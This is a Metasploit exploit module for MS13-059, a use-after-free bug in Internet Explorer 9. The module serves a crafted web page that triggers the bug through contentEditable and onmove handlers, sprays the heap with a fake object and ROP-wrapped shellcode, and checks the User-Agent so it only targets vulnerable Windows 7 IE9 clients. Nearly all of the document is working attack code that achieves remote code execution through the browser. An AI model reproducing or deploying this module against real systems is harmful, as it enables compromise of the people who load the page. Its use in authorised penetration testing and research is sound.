require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
def initialize(info={})
super(update_info(info,
'Name' => "MS13-059 Microsoft Internet Explorer CFlatMarkupPointer Use-After-Free",
'Description' => %q{
This is a memory corruption bug found in Microsoft Internet Explorer. On IE 9,
it seems to only affect certain releases of mshtml.dll. For example: This module
can be used against version 9.0.8112.16446, but not for 9.0.8112.16421. IE 8
requires a different way to trigger the vulnerability, but not currently covered
by this module.
The issue is specific to the browser's IE7 document compatibility, which can be
defined in X-UA-Compatible, and the content editable mode must be enabled. An
"onmove" event handler is also necessary to be able to trigger the bug, and the
event will be run twice before the crash. The first time is due to the position
change of the body element, which is also when a MSHTML!CFlatMarkupPointer::`vftable'
object is created during a "SelectAll" command, and this object will be used later
on for the crash. The second onmove event seems to be triggered by a InsertButton
(or Insert-whatever) command, which is also responsible for the free of object
CFlatMarkupPointer during page rendering. The EnsureRecalcNotify() function will
then still return an invalid reference to CFlatMarkupPointer (stored in EBX), and
then passes this on to the next functions (GetLineInfo -> QIClassID). When this
reference arrives in function QIClassID, an access violation finally occurs when
the function is trying to call QueryInterface() with the bad reference, and this
results a crash. Successful control of the freed memory may leverage arbitrary code
execution under the context of the user.
Note: It is also possible to see a different object being freed and used, doesn't
always have to be CFlatMarkupPointer.
},
'License' => MSF_LICENSE,
'Author' =>
[
'corelanc0d3r',
'sinn3r'
],
'References' =>
[
[ 'CVE', '2013-3184' ],
[ 'OSVDB', '96182' ],
[ 'MSB', 'MS13-059' ],
[ 'BID', '61668' ],
[ 'URL', 'http://zerodayinitiative.com/advisories/ZDI-13-194/' ],
[ 'URL', 'http://zerodayinitiative.com/advisories/ZDI-13-195/' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 9 on Windows 7 SP1 (mshtml 9.0.8112.16446)', {} ]
],
'Payload' =>
{
'BadChars' => "\x00",
'StackAdjustment' => -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Privileged' => false,
'DisclosureDate' => "Jun 27 2013",
'DefaultTarget' => 0))
end
def rnd_dword
rand_text_alpha(4).unpack("V").first
end
def get_fake_obj
obj = [0x20302020].pack("V*")
obj << [rnd_dword].pack("V*")
obj << [rnd_dword].pack("V*")
obj << [rnd_dword].pack("V*")
obj << [rnd_dword].pack("V*")
return obj
end
def get_payload
code = ''
code << "\x81\xEC\xF0\xD8\xFF\xFF"
code << "\x61\x9d"
code << payload.encoded
stack_pivot = [
0x7c342643,
0x0c0c0c0c
].pack("V*")
p = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
return p
end
def is_win7_ie9?(agent)
(agent =~ /MSIE 9/ and agent =~ /Windows NT 6\.1/)
end
def get_html(cli, req)
js_fake_obj = ::Rex::Text.to_unescape(get_fake_obj, ::Rex::Arch.endian(target.arch))
js_payload = ::Rex::Text.to_unescape(get_payload, ::Rex::Arch.endian(target.arch))
html = %Q|
<html>
<meta http-equiv="X-UA-Compatible" content="IE=7"/>
<meta http-equiv="refresh" content="2"/>
<head>
<script language='javascript'>
var fake_obj = unescape("#{js_fake_obj}");
var s = unescape("#{js_payload}");
sprayHeap({shellcode:s});
function setupPage() {
document.body.style.position = 'absolute';
document.body.contentEditable = 'true';
document.body.style.right = '1';
}
function hitMe() {
document.execCommand('SelectAll');
document.execCommand('InsertButton');
sprayHeap({shellcode:fake_obj, heapBlockSize:0x10});
document.body.innerHTML = '#{Rex::Text.rand_text_alpha(1)}';
}
</script>
</head>
<body onload="setupPage()" onmove="hitMe()" />
</html>
|
html.gsub(/^\t\t/, '')
end
def on_request_uri(cli, request)
if is_win7_ie9?(request.headers['User-Agent'])
print_status("Sending exploit...")
send_response(cli, get_html(cli, request), {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
else
print_error("Not a suitable target: #{request.headers['User-Agent']}")
send_not_found(cli)
end
end
end
